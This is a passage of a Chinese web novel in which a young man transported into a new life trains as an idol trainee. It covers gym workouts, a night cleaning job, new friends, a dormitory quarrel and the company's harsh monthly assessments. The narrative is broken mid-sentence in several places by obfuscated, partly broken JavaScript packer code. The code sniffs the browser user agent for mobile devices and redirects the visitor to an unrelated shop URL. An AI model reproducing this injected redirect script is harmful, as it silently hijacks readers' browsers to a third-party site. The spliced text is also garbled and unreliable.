被健身教练指导后，他又觉得隔着厚厚玻璃墙的人也没有那么厉害。 吸气，核心收紧，双臂上抬的同时，呼气——。 健身教练站在一边看着江翰飞和时元练了一组，姿势没问题了，健身教练就又走开四处转悠去了。他们只负责姿势的正确指导，又不负责监督训练，练多练少可是这些小孩儿们自己的事情。 江翰飞练完一组，感觉自己的肩膀和背又热又酸。龇牙咧嘴的揉了揉，换了个姿势，打算练习一下教练说的核心肌群。他之前跑外卖爬楼梯爬多了，所以虽然瘦，但腹部的核心肌群还是被练得有模有样的。 想到送外卖，江翰飞本来还说自己打工可以再去跑跑外卖，结果想起连手机都没有，怎么跑外卖啊？ 什么工作能不用手机，不在外面露面，还能挣钱呢？ 江翰飞锻炼着锻炼着开始发起了愁。自己对这个世界的信息知道的还是太少了，系统给的信息包就是一些很基础的信息，只够他在这儿不抓瞎，其他的啥也不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606582|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这儿本土的，他认识还能说得上话的就时元一个人。 想到时元，江翰飞扭头见时元已经在拉伸，似乎是不打算继续练哑铃了，想了想，还是没有在他锻炼的时候开口。 时元已经帮了自己很多了，昨天要不是时元带着他上课，今天又带着他来晨练，他不知道还要出多少丑才会搞明白这里的规则。 时元拉伸完，跟江翰飞挥挥手：“飞哥，我室友在跑步机那边给我占到位置了，我先过去啦！我还有一个小时的时长没补上呢！” 说完不等江翰飞说什么，一溜烟的窜过去，跳上了一台跑步机，然后和左右两边的人熟络的笑起来。 江翰飞看了两眼收回视线。他昨天是进入公司的第一天，刚刚他和时元打听清楚了，第一周的练习生是不会被计入健身时长考核的，所以他不用补时长。他从下一周也就是明天开始才会有时长要求。 转过头来的江翰飞没想到却瞥见了昨天的高壮男生，他似乎是真的挺喜欢健身的，一个人在杠铃区卧推杠铃，有一名健身教练和他说着什么。 本来他没有试过杠铃什么的，还挺有兴趣去尝试一下的，见他在哪儿，不想惹麻烦，还是绕开了杠铃区，去到了另一个区域独自练习。 一个小时之后，时元在划船器上找到了他。 “这个器材看起来还挺好玩儿的，我还从来没有玩儿过呢！”时元才16岁，小孩儿心性时不时的就冒个头。 江翰飞从划船机上下来，“你已经补完时长啦？” 扫过和时元一起过来的三个人，很明显，这就是时元说的室友了。 “嗯嗯，他们是我的室友，我们准备去吃早餐啦，飞哥你要一起吗？” 江翰飞很干脆的点头了，到新地方工作得跟同事好好相处才行，这是经验。 几人打完卡出来，在路上互相介绍了一下。 他昨天准备了好久，打算用在宿舍的自我介绍总算是派上了用场，“我叫江翰飞，18岁，昨天第一天来练习，手机因为来的路上被偷了，所以现在没有手机。”说完又补了一句：“C级练习生，宿舍就在你们隔壁3010。” 听完江翰飞的自我介绍，时元宿舍的三人也开始一一介绍起自己。 高个男生，大约也得有185，但是相比昨天的高壮男生瘦了不少，整个人看上去相对纤细，“我叫高崎，20岁，在这儿练习已经快半年了。” 另一个男生身高和江翰飞差不多，175左右，眼形偏圆，显得比较清秀，“我叫宋文斌，23岁，来这儿快一年了。”宋文斌似乎不太自信，声音说着说着就低了下去。 旁边另一个男生见状赶紧插话到：“诶，到我了哈哈，我叫于立果，今年21岁，来这儿也半年了吧！” 一行五个人，江翰飞没想到除了时元，就是自己的年纪比较小了。 高崎几个人也没想到，时元说要介绍给他们的人很好的飞哥，看起来气质挺稳重的，居然才18岁。 5. 第 5 章 物以类聚，人以群分。 老祖宗诚不欺我也。 江翰飞感慨。 时元性格活泼友善，和他玩儿的好的几位室友同样也很好相处。知道江翰飞才18岁后，就开始有意无意的处处关照他。 比如一起排队的时候让他和时元站在最前面，还悄悄告诉他食堂早餐的蒸鸡蛋得拿第三个窗口师傅做的，味道最好；比如坐在一起吃饭的时候，宋文斌就会先拿餐巾纸把几人的餐桌都先擦擦，然后把拿过来一起送粥用的咸菜酱菜放在靠江翰飞和时元比较近的地方。 期间江翰飞对这种无形的照顾也算是据理力争过，阐明自己虽然现在只有18岁，但马上三个月之后就19岁了。然而这个据理力争在其他三个比他大的镇压下消散的比早上的轻雾还快，就算是19岁，在其他人面前也是小弟啊。 这话确实堵得江翰飞哑口无言。他也不是真的想争辩什么，于是后面就没再提过年纪这事儿了。 就这样过了三五天，江翰飞开始习惯练习生的生活。 每天早上六点起床去健身房抢占跑步机，这主要是给隔壁宿舍的几人抢的，他一般也就跑半个小时，就会跑去其他的器械区锻炼。大多情况下他们会在健身房呆上两个小时，然后去楼下食堂吃早餐，吃完早餐再一起回宿舍洗个澡。 幸好自己宿舍的那些室友课程时间安排明显和他不大一样，因此他早上回来冲澡的时候从来没有遇见过需要排队的情况。反而隔壁宿舍一回就回四个人，动作慢了，偶尔还怕来不及，时元就会直接跑来江翰飞这儿，在他们宿舍冲个澡啥的，反正水电费是公司出钱无需他们缴纳，所以其他室友碰见了倒也没有产生什么纠纷。 冲完澡神清气爽之后再一起去上第一节课。课程相同他们就结伴，遇上课程不同，江翰飞就只能自己一个人去上课了。接下来的一天，因为江翰飞也没个手机什么的，能不能再遇上几人，全靠缘分了。 没有手机对一个习惯了手机的现代人来说，真是太痛苦了。 和隔壁几人加不了好友，约不了时间，平时看不了电子课程表，也没法儿看群里老师的舞蹈练习录制视频。 江翰飞想了想昨天于立果说的兼职，其实还挺适合他的，决定今天就去找教练问问看，果然打工人换了个世界还是得打工啊。 于立果这人天生喜欢交际，见人三分笑，和谁都能聊上几句。只是聊上几句之后还能不能聊就得看于立果自己的判断了。他要是觉得这个人人品不行不适合深交，大概就是随便敷衍几句没有后文了，如果觉得和他胃口，两人合得来那以后就是朋友。 也因为他喜欢和别人聊天，所以知道的信息广，很多事情来了一年的宋文斌都不知道，于立果却一清二楚。 得知江翰飞需要找一份兼职，于立果脑子里信息转了一圈，想起前两天跟健身房的一位教练聊天的时候对方提起过之前的清洁阿姨在收拾器材的时候把腰给扭了。于是建议江翰飞去问问健身房需不需要人。 幸好他来的快，人事那边本来打算新招一个清洁阿姨，江翰飞来的正正好，给他算个兼职，每天就负责晚上十一点之前到健身房把所有的器材归位以及简单的打扫，就是普通的给哑铃杠铃擦擦灰，擦擦人手握得多容易沾染汗水的地方。专门的器材清洁和保养则有专门的人来做。他也不用浪费时间跑出去找兼职。 这样一来三方都满意了，人事省事儿再招一个清洁阿姨，清洁阿姨以后不用担心再扭腰，江翰飞也得到了一份堪称完美适合他的兼职。而且这兼职给他每天70块钱，每天满打满算一个半小时就能搞定，运气好的话最快四十分钟也能搞定，换算成时薪简直是江翰飞超绝性价比，比一些都市白领还高薪。 当天晚上江翰飞就开始干起了活儿。 健身房每天晚上十一点关闭，今天晚上十点半江翰飞就到了健身房。 里面还有一个人在跑步，看背影很瘦。 还没到关闭的时间，江翰飞就一个人先去了其他器材区域整理器材。 这也不是一个轻松的活儿，比如从架子上取下来的杠铃，没有一定的力气都归不了位。 杠铃们都老实呆在应该在的地方，不用他整理，就简单的整理了一下，去旁边把扔的乱七八糟的哑铃简单擦擦，再按照标记的重量一一放好。 就这样忙活着，弄得差不多了的时候再抬头看时间的时候发现已经11:10了，他就还剩那个少年的跑步机没有把参数归零。 那个少年已经没有在跑步了，而是上半身趴在跑步机上慢慢走着，戴着蓝牙耳机，大概是在跟谁打着电话。 江翰飞无意打扰人家讲电话，但是已经十一点多了，再不回去洗漱估计就得排队等到十二点后才能洗漱了。 想到这儿江翰飞还是站到了跑步机侧前方，这才看清了少年的外貌。毫不夸张的讲，就算以他一个不太懂时尚的直男审美来看，也不得不称赞一句漂亮。 没有急着开口，先招了招手示意少年自己的存在，见对方看过来先笑了笑，然后指了指健身房里挂着的钟，示意少年已经到点了。 没想到少年就只是瞥了他一眼，然后当他不存在一样，继续跟电话那头的人说话。 江翰飞明白了对方隐含的意思，扫了眼墙上的挂钟，直接按停了少年的跑步机。 少年感受到脚下的履带不动了，又看了看变黑的界面面板，直接挂断了电话，拿下耳机，对江翰飞不满道，“你什么意思？” “到时间了，健身房十一点就要关闭的。”江翰飞回答到，空气在两人之间沉默了一会儿，他又补充了一句，“我刚刚已经提醒过了。” 这么一说跑步机上的少年瞬间炸毛了，“提醒了又怎么样，你TM瞎啊？没见我在打电话吗？超时了又怎么样？十一点超时你十一点多了才叫我，这不是你的问题吗？” 江翰飞：？？？ 他被问的有点跟上也无法理解对方的脑回路。 见江翰飞不讲话了，还以为是被自己问住了，少年这才哼了一声。走下跑步机，接通那边又打过来的电话，重新戴上耳机往健身房外走去，“没事儿，刚刚遇到一个神经病，我已经解决了。” 少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606583|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音渐渐消失在健身房。 江翰飞无语的再次打开跑步机，把设定的所有参数数据全部归零，关闭。 环顾一圈健身房内，确认没有什么需要再收拾的了。关了灯，拉过房门自动上锁，结束第一天的兼职。 终于可以回宿舍了。 等他回了宿舍还是晚了，前面排了8个人，等这8个人洗漱完，估计也得要一个小时之后。 于是江翰飞放下洗漱用品，又走出了宿舍，去了宿舍楼下花园里的一个小凉亭里。 这是他新找到的秘密花园，因为在楼下花园最角落的位置，过来的路大概是想做成曲径通幽的样子所以弯弯绕绕的，少有人会来这儿。 他打算趁着这个时间，再记一下舞蹈课上老师教的动作。 菲力老师是专门教基础舞蹈的老师，她的课都是超过30人的大课，前半节课会带着所有学员练习舞蹈基本功，后半节课会带他们速成当下或者曾经大热舞曲的经典动作。 舞蹈分很多种，他们主要练习的舞种是hiphop，不过由于近两年审美的变化趋势，他们的课程里也开始增加了部分jazz，locking之类。 hiphop的基本功里有很多基础动作，比如walk man，rojor rabbit等等，菲力老师明确的说过，如果把基础元素的框架练好了再去尝试变形动作或者再去跳偏hippop的舞蹈，整体框架会比较大，视觉效果更好。 江翰飞是个彻头彻尾的门外汉，老师说什么他就练什么了。 没有手机播放音乐，他就尝试自己在心里打拍子，把能想起来的，菲力老师教过的基础动作都顺了一遍，每个动作力求能达到菲力老师在课上说的标准。 跳舞本来就累，就算晚上有点风也热。一遍顺下来，江翰飞汗流满面，汗水顺着头皮往下流，额头上的汗水也流进眼睛里刺的慌，歪头在肩膀上抹一把，大口大口喘着粗气，试着用老师教的，慢慢换成用鼻子进行深呼吸。 顺了会儿气，感觉自己心跳平稳了一些，又开始顺第二遍。 周围的人基础都比他好太多了，一年内他想出道，意思就是他一年内必须要达到公司评定S级的标准。 就现在，还远远不够。 尽管他现在已经渐渐习惯了舞蹈课，也习惯了在大镜子前跳舞，但大多数时候他仍然不敢对上镜子里的自己，动作实在是太丑了，经常被菲力老师骂。 就算勉强跟上老师的动作了，只是老师的动作能看到力和线条的美感，而自己的动作就像是四肢还没有被驯服的时期，做得奇形怪状。 又过了一遍老师教的成品舞，当然有很多动作他已经忘记了，只能把能记得的部分挨个跳了一遍。 跳完江翰飞实在撑不住了，软倒在地上，又强撑着坐起来靠在公园长凳上，头发汉湿后黏在脸上，身上的衣服已经湿透了，紧贴在身上又凉又闷。 估摸着时间应该差不多了，慢慢爬起来走回宿舍。 抬头看月亮的时候想起今天还是月初，弯弯的月亮看起来锋利得很。 6. 第 6 章 乐狮娱乐每个月发工资的时间是25号，本来是发上个月的工资没江翰飞的份儿。但人事小姐姐好像知道他经济比较紧张，所以特地跟公司申请了25号的时候把他这个月兼职工资先发给他，只是他没有银行卡，所以还麻烦人家人事给他换成现金。 掰着手指算算时间，他从6号开始做兼职，到今天25号正好干了20天，也就是能拿1400的工资，至少先去办张银行卡，再买个便宜的智能手机是够用了。 发工资怎么着也是件好事儿。 所以25号从早上开始江翰飞就一直保持着好心情，早早跟公司提前申请好了今天的外出，就等着发工资买手机了。现在和时元几人一起在食堂吃饭，快乐的气息感染了他们，都问他是不是有什么好事儿。 江翰飞嘿嘿一笑，给他们讲了今天会发工资的事儿。 时元立马接嘴说要吃冰淇淋。 当然没问题，只是还没等江翰飞点头，时元就被于立果搭住了肩：“元儿啊，再说一遍你要吃啥？” 时元秒怂，对着于立果讨好的笑笑：“于哥，我不吃不吃，就是口嗨一下。” “哼。”见时元乖觉的样子，于立果放开他肩膀，转而对江翰飞说道，“钱你自己留着，别惯着他。” 江翰飞知道于立果是想给他节约钱，他窘迫的经济状况身边这几个人是再清楚不过了，也主动开口说过要是着急可以先借他一些周转，只是他拒绝了，“一个冰淇淋就几块钱，每人一个我还是请得起的。” 再说本来他也打算拿到第一次工资要给这几个朋友买点好吃的。要不是于立果，他都不知道在这儿是限制练习生随便外出的，更别提找什么兼职了。 于立果又瞟他一眼，说道：“也快到月末考核了，这段时间别吃甜食了，一个冰淇淋得在跑步机上跑多久才能消耗掉啊？” 这话一出，江翰飞立即打消了今天晚上就给他们买冰淇淋的念头，还是改成其他的吧。 进了娱乐公司成了练习生后，江翰飞才知道电视上那些光鲜亮丽的男女明星们为了维持身材私下里没少付出。 公司对练习生的身材管理很重视，不说每周要求的健身时长，还有从不供应甜食和小吃的食堂，光是刚刚于立果提到的月末考核里就有专门针对形体的考核。 形体的考核跟流水线一样，所有人依次进入考核场地，且被要求必须穿相对紧身且轻薄，能看到身体线条的服装参与考核，然后从体重身高三围，以及坐、立、行、定点pose几个方面评判。 今天吃一个冰淇淋，接下来的一周可能每天早上都得在健身房泡满三个小时了。 想到这儿，时元也没有了吃冰淇淋的想法，嘴馋吃不着很痛苦，但还是每天锻炼三个小时更痛苦。 这是江翰飞第一次经历月末考核，最近几天明显能感受到训练课和宿舍的氛围都变得紧张许多。 没有人再在训练课上偷偷走神；早上的健身房在跑步机上聊天的少了也没那么抢手了，很多人都转而去用了哈克，划船机这些能更快打造出身体线条的器械；晚上的宿舍也‘热闹’了不少，三三两两聊天的少了，隔壁房间的游戏也不打了，更多的是在背歌词背rap。 让江翰飞很有学校期末考前的既视感。 这种紧张氛围带动他也开始有点紧张起来，问了于立果他们不少关于考核的细节。 乐狮娱乐每个月的最后两天是固定的考核日，每天两个版块，总共考核四个版块：形体，声乐，舞蹈，自定义表演。 考核完之后再汇总四个板块的评分，加权之后给出最后的评级。如果连续两个月拿到比现在评级高的评级，就可以升到高一个评级的等级，比如C级练习生连续拿到两个月的B级评级，那从第三个月开始就会升为B级练习生，如果能拿到更高的A级或者S级，只要你能连续两个月都能维持这个评级，一样也能从第三个月开始升为A级或者S级，只是截止目前这么多练习生，就只有Hitting里的实力主唱秦正浩成功过，两个月直接从C级跳到了A级。 有升级，自然也有降级，降级是连续六个月内只要有两个月低于现有评级就会被降回原来的等级，这两个月不要求连续，也就是说半年内只有一次失误的机会，如果失误第二次就会直接降级。 降级不是最严重的，最严重的是被清退。所有练习生会被拉通分数排名，最后三十名是红名。红名的意思就是你的排名通知里名字会被标红。这不是奖励，而是警告，红名只要累积够三次就会被公司直接清退。既然是拉通排名，只要不出意外，被清退的99%都是C级练习生。 月末考核就是悬在所有练习生头上的一把刀，谁也不想自己的等级下降或者被清退。 所以从于立果说出考核两个字，餐桌上的几个人相继安静下来。 时元还算好的，他来的时间不久，上次考核排名虽然没有上B级，但是排名已经很接近了，这次努努力说不定能上B级，而且他年纪还小，就算这次不行，也还有很多练习时间。 宋文斌和高崎就有点忧愁了，他俩上次的评级虽然不至于红名，但确实也不太好，排名在C级练习生里算是靠后的了。 于立果倒不怎么愁，相对其他几个人的紧张，他是最放松的一个，每次考核都在C级的中不溜丢，上不上下不下的，典型的比上不足比下有余。 于立果感受到大家的气氛开始变得沉默，赶紧说道：“别想太多啦，还有好几天呢，这个月可是有31号的，我们先按照我们的节奏继续练习。” 下午去了趟人事小姐姐交代的办公室，小姐姐笑眯眯的把他在这个世界的第一份工资交给他，还给他塞了两盒牛奶，推都推不过。趁着晚餐的空档，江翰飞打车去了附近最近的一个商场给自己买好了手机，装好了电话卡。还给几个朋友带了些坚果和牛肉干。这些都是优质的油脂和蛋白，偶尔吃吃不会影响到他们的形体考核，时元额外多一盒饼干。 买完又匆匆忙忙地来不及回宿舍放好东西，直奔练习室。 晚上等他回了宿舍，把买的东西给他们，他们又给了江翰飞不少牛奶和盐焗鸡蛋之类的东西，双方跟交换物资似的，趁着时间也把几个人的微信好友都加上了。 时元感慨一句，这简直是最难加的一个微信了，等了快一个月才加上。 听到这话的几人都不禁笑了起来。 江翰飞也跟着笑了起来，裤兜的手机里沉沉的，里面躺着四个联系人，手里拿着东西也沉甸甸的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606584|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虽然知道后面还需要紧迫的升级和艰苦的训练，但是突然就像是终于抓住了泥土的根茎一样，心里突然安定了下来。 几个人看到江翰飞笑起来的样子都愣了愣，眼神颇有些古怪。 时元傻乎乎的说道：“飞哥，你笑起来好好看呀！” 江翰飞闻言摸摸自己的脸不太好意思接话。 大概是这段时间作息规律，还每天运动导致自己的皮肤变好了？ 回到宿舍，住他对床的一个男生施锐突然开口道：“哎，咱们宿舍的人都没魅力啊，室友有啥东西都是分给别人，都不知道跟宿舍的室友分分。” 江翰飞一听就知道施锐是在阴阳自己，大概是因为自己之前占到的跑步机没有让给他而是给了隔壁的于立果吧，那次之后施锐时不时就爱在宿舍里说一些似是而非的话。 他一向当做没听见的。 这次也是，他懒得搭理对方。 见他闷头往床上爬不搭话，施锐又阴阳怪气地说了一句：“物以类聚人以群分，难怪跟那几个玩儿得好呢，没一个能上台面的。” 江翰飞停下了，站在床的阶梯上扭过头去盯着施锐，“你再说一句试试？” 其他几个吃瓜看戏的室友默默停下了手里的事儿，几个人眼神交流间带着明显的兴味儿和看好戏。 这是江翰飞进入宿舍以来第一次对他们下脸。 虽然平时江翰飞也不怎么有表情，跟宿舍里的众人都不怎么交流，但是跟这种明显周身的气场一下子冷下来的感觉是不一样的。 施锐对上江翰飞黑漆漆又直勾勾盯着他的眼睛被吓得心里一跳，没想到平时怎么说都闷不吭声的江翰飞会突然跟他对上，一时间又尴尬又气愤。想再说一句刺他吧，施锐不敢，看江翰飞那个样子明显是敢动手的；什么也不说又觉得丢自己的面子，房间里还有几个看热闹的室友呢。 憋了半天，他还是撂下了一句自以为的狠话：“我看你们月末考核能排多少！” 江翰飞见施锐熄火了，也没再多说：“管好你自己。” 这种人从小他见多了，跟他无冤无仇，但是就见不得别人过得好，也见不得别人得到他得不到的东西。 躺到床上再拿出手机，发现自己被拉进了一个微信群聊“维生素C”，里面只有时元，于立果，宋文斌，高崎和他。 于立果在里面圈他：“欢迎我们宿舍的编外队员进群~” 其他几个人开始刷欢迎表情包和撒花。 时元也说到：“以后总算能随时约着一起了。” 江翰飞放松下来，笑着回了一个搞怪的猫咪表情包，又跟几人在群里插科打诨了几句，重新拥有手机的自己好像又从蛮荒时代回到了现代。 给手机装上其他几个常用的APP，比如妙博，抖抖等。又在公司官方的APP注册了自己的账号，在账号里可以查看自己的基础信息和课程表，月末考核每次的排名也会在公布后同步在自己的账号里。 江翰飞，男，18岁，身高：178，体重49kg（需增重）； 声乐：C级；舞蹈：C级；Rap/创作：C级；上次总评：无；总评级：C级 显示的测试时间是8月2日，他穿越来的前一天的时间。 7. 第 7 章 不知道是不是因为昨天晚上睡得格外满足，今天起床后江翰飞一直精神饱满，显得神采奕奕的。 与基础舞蹈课不同，声乐课是小班课，每个声乐教室只有15人左右。每个月的声乐老师都是固定的，直到下次月末评级考核之后，公司更新了最新的课程表才会有可能变更，也有人连续几个月都在同一位老师那儿学习声乐。 江翰飞上的当然是基础声乐课，不仅是他，大多数C级的练习生都是上的基础声乐课。最开始的时候江翰飞连基础声乐课都跟的艰难，经常因为老师嘴里的一些专业名词发蒙，好在时元跟于立果跟他声乐课都是同一个老师，有两人帮忙解释，江翰飞这才勉强能跟上老师的课程进度。 “接下来给你们十五分钟再熟悉下手里的曲子，十五分钟之后我们开始分组唱。”带着他们过了一遍谱子，声乐老师刘老师开始让他们自己熟悉曲子去。 这是声乐课的日常，带着他们开嗓，做一遍音阶和音程练习或者其他的基础练习，再带着他们过一遍上一节课下课前会发下来的曲谱，然后一组一组的唱或者一人一句接力唱。 偶尔刘老师还会抽人唱他之前教完的曲子，检查他们课程之外有没有做好练习。要是唱不出来或者唱的太差刘老师不会骂的太狠，只是那瞟你一眼你就能立刻感受到仿佛被骂了废物或者垃圾的眼神。如果只是唱的一般，他就会连着几次上课都抽你唱这首歌，直到他觉得唱的达到了他的标准。 上一个享受这个待遇的就是江翰飞，一首歌连着唱了七八天，刘老师才勉强通过了。 所以练习生们在刘老师的课里没人敢走神，以免被刘老师抓了典型。尽管被这些培训老师们记住是一件好事儿，在后面的月末考核里会有更多可能性，但谁也不希望以这种方式被记住。 江翰飞，时元，于立果三人站在一起，没有聊天交流，都复习着手里的歌词曲谱，一边唱出声，随时调整着每个字的音调和咬字。 十五分钟，一首三分多钟的歌，就算能顺畅的唱完也只能顺个三四遍。听刘老师说时间到的时候，不少人脸上都闪过慌张的神色。 刘老师当了二十多年的老师了，看一眼就知道这些小崽子们是什么情况。看着还有这么多面露慌张的人，刘老师倒是早已见怪不怪。这些都是C级练习生，而且还有不少是从来没有学过音乐的，连五线谱都不会读。想到这儿，刘老师眼角的余光扫了一眼最后一排。 “开始吧，从左到右，接龙。”刘老师打开钢琴，准备用钢伴让大家一句接一句的开火车式唱。 这节课一共17个人，分了三排站，前两排都6个人，最后一排5个人。江翰飞，时元，于立果几人就依次站在最后一排最后几个。 练习生们也很熟悉刘老师的上课方式，很快第一个人就开始唱了，也许是有点紧张，开口的一瞬间刘老师就有点皱眉了，没等他唱完就开口打断了他，“声音太紧，就开口调子没对，注意听我伴奏，重来。” 本来就紧张，开口就被刘老师打断让重来，第一个人更慌了，拿着曲谱的手都开始肉眼可见的抖起来。 第二次开口比第一次还差，声音甚至开始颤抖起来，刚唱一个字直接再次被刘老师打断了，直接对他右手边的人说道，“第二个开始，从第一句开始唱。” 说完根本不再理会刚刚第一个开口的人。第一个人就低着头站在一边也不敢再说什么。 好在第二个人大抵是提前做了准备，顺利的唱完刘老师没有喊停，第三个接着唱了第二句，到后面的人大多都已经算出来自己要唱哪一句，在心里做好了准备演练了好几次，开口也平稳了许多，没再出岔子顺当的轮唱下去。最后一排的于立果刚好站在最右边，唱完轮到的一句之后接着再唱了一句，火车再倒着往回开。再到第一个人的时候总算这次没有再紧张，顺利的唱完了。 刘老师听完一遍，没说什么，合上了钢琴，拿起了一支笔又开口道：“第一组的两人一组分成三个组，每组一个大段，刚好三大段。” “开始吧。” 这次进行的很顺利，他们一边唱，刘老师一遍用笔在纸上时不时的记录几笔。 “来，第二组一样，继续。” “第三组五个人，一头一尾两个人一组，中间那个自己一组，起。” 江翰飞听话抬起头，他正好是第三组的第三个，五个人里中间的那个。也就是说这次他要一个人唱完两段主歌+桥段+副歌。时元和于立果也有点担心的看了他一眼。 但是刘老师在上面已经喊了开始，前两个人已经开始唱了起来，现在想什么都没用了，只能赶紧收敛心神，专心的听第一组的词，准备自己的唱段。 三组唱完，刘老师手里的A4纸透过灯光能模模糊糊地看见上面写了不少字。 放下笔，刘老师开始逐一说问题： “第一组的一、五；第二组的第四个；第三组的一，四。你们的音准还要再练，跑调太多。”人不多，扫一眼就能知道老师说的是谁，自己是什么位置心里也门清儿，因此刘老师每说到一个人，那个人心里不自觉的就打个紧然后记下自己的问题。 “第一组的第一、三、四，第二组的二、三、四、六，第三组的二、四、五，气息控制太弱，气太浮，第三组的最后一个，带的你音色都飘了。” ······· “第三组第三个，发声咬字部位不统一?，继续做呼吸练习，唱歌的时候放松。算是有点进步，也还差得远。”说到最后刘老师好像有点口干舌燥了，说完最后一个问题，摸过保温杯喝了口水。 练习生们却听到最后一句算的上夸奖的话一惊，都忍不住开始扭头去找被刘老师夸奖的人。 江翰飞也是一愣，扭头又数了数，确认这第三组的第三个的确是他，有点茫然。 这好像是他在这儿练习了快一个月的所有课程里，听到的第一句应该算的上是正面的评价。还是来自他觉得肯可能对他印象不太好的课程老师。 其他练习生要是知道江翰飞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606585|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想法，估计想要使劲儿晃晃他把他摇醒怒吼：你还想要多少啊？ 他们看他的眼神里羡慕嫉妒都快溢出来了，就连旁边的时元和于立果都羡慕的看着他。 前面的刘老师看着其他人扭头去看傻愣愣的江翰飞，又借着喝水垂着眼睛笑了笑。盖上瓶盖，拉平嘴角，食指敲了两下钢琴唤回练习生们的注意力，开始给他们讲解这首歌每一句正确的唱法。 练习生们被拉回关注，因为被直接指出了自己存在的问题，又有被夸了的人在，所有人都先收敛了复杂的心情竖着耳朵听，打定注主意学学好歌，也要进步进步。 一节课两个小时过去，刘老师没再夸谁，骂的人倒是一摞一摞的，恢复到了日常的模式。课后等刘老师走出音乐训练室，江翰飞听见不少人松口气的声音。 其实除了刘老师，其他培训老师们上完课后，江翰飞也时常听见练习生们松一口气。这倒不是练习生们都胆小内向，实在是老师们对练习生大多比较严厉，相较而言刘老师已经算是说的比较温和的，其他的老师们还有直接骂人或者让练习生滚出去的，比如江翰飞来的第一天就被舞蹈老师赶出教室。以前也不是没有练习生被骂狠了跟公司投诉过，但公司根本不会管，一是没必要，二是在公司看来这点骂都受不住，这么玻璃心就还是别出道了，出道后少不了黑粉，要是被黑粉骂几句不得寻死觅活了。 所以一直是铁打的培训老师，流水的练习生。培训老师们根本不会给这些练习生任何面子或者考虑他们的心情之类，只要觉得你做的不好，被骂都是常事儿。 “飞哥飞哥，你好厉害啊！” 声乐课是下午最后一节课，几人下课后就直奔食堂，宋文斌和高崎是另外的音乐教室，但是下来的比他们早，早早打好饭菜等他们了。 时元这个小话痨吃饭的时候也堵不上他的嘴，开始叽叽喳喳的很激动地跟不在同一间教室的宋文斌和高崎分享江翰飞在音乐课上被老师夸奖了的事儿。 至于后面依旧被骂的事儿自然是被忽略了，谁不是日常被骂呢，根本不值一提。 江翰飞听时元跟宋文斌和高崎吹捧还有点尴尬和脸红，感觉一句有点进步好像也不是什么很大的值得拿出来一说的夸奖，忙叫时元别说了。没想到阻止时元不成，连于立果也开始说江翰飞被夸奖的事儿，美其名曰补充细节。 江翰飞还是来的时间不够久，对这儿了解的不够多。 何止是他听见的第一句正面评价呢？ 培训老师们连同公司上下几乎都奉行打击教育，说是如果出道了有的是人会夸奖他们，如果没有出道，那他们打击的就没有错。因此所有练习生都难得从培训老师或者公司的管理里听到一句正面的评价。 晚上回了宿舍，甚至发现宿舍里的其他人都用一种奇怪的眼神打量着他，还有之前一直无视他的人开始凑上来和他尬聊日常，好像今天才是他第一天住进这个宿舍一样。 幸好对床的施锐还是一副恨恨的样子，让他找回了点熟悉的感觉。 8. 第 8 章 今天是八月三十号，也就是月末考核正式开始的日期，早上的第一场考核是形体。 所有练习生都早早做好了准备，穿上了贴身又轻薄的服装，方便老师们看清楚曲线和姿态。 江翰飞这是第一次经历传说中的月末考核，心里难免打鼓。吃早餐的时候食堂只有零零散散的几个人，维C群里更只有时元和自己，其他人因为形体测试要称体重，担心自己超过标准线，不敢吃早餐。也就时元和江翰飞两人都一副瘦竹竿的样子，不用担心会体重超标，该吃早餐还是吃了早餐。只是也收敛了，按照时元的说法就是吃到肚子鼓出来老师看到了万一以为是肚腩怎么办。 江翰飞欣然接受这个理由，两人吃了个五分饱就停了。 体重和身高测量是红外电子直接扫描的，站在机器上十秒钟就能测量完一个。测试完的练习生就会五个人一组进入练习室，按照站立，坐，行走，再加五个定点pose的流程走一遍。 五名老师坐在最前方，会根据他们的姿态给他们的打分，自动汇入系统，最后会计算五位老师的平均分作为这一项的总分。 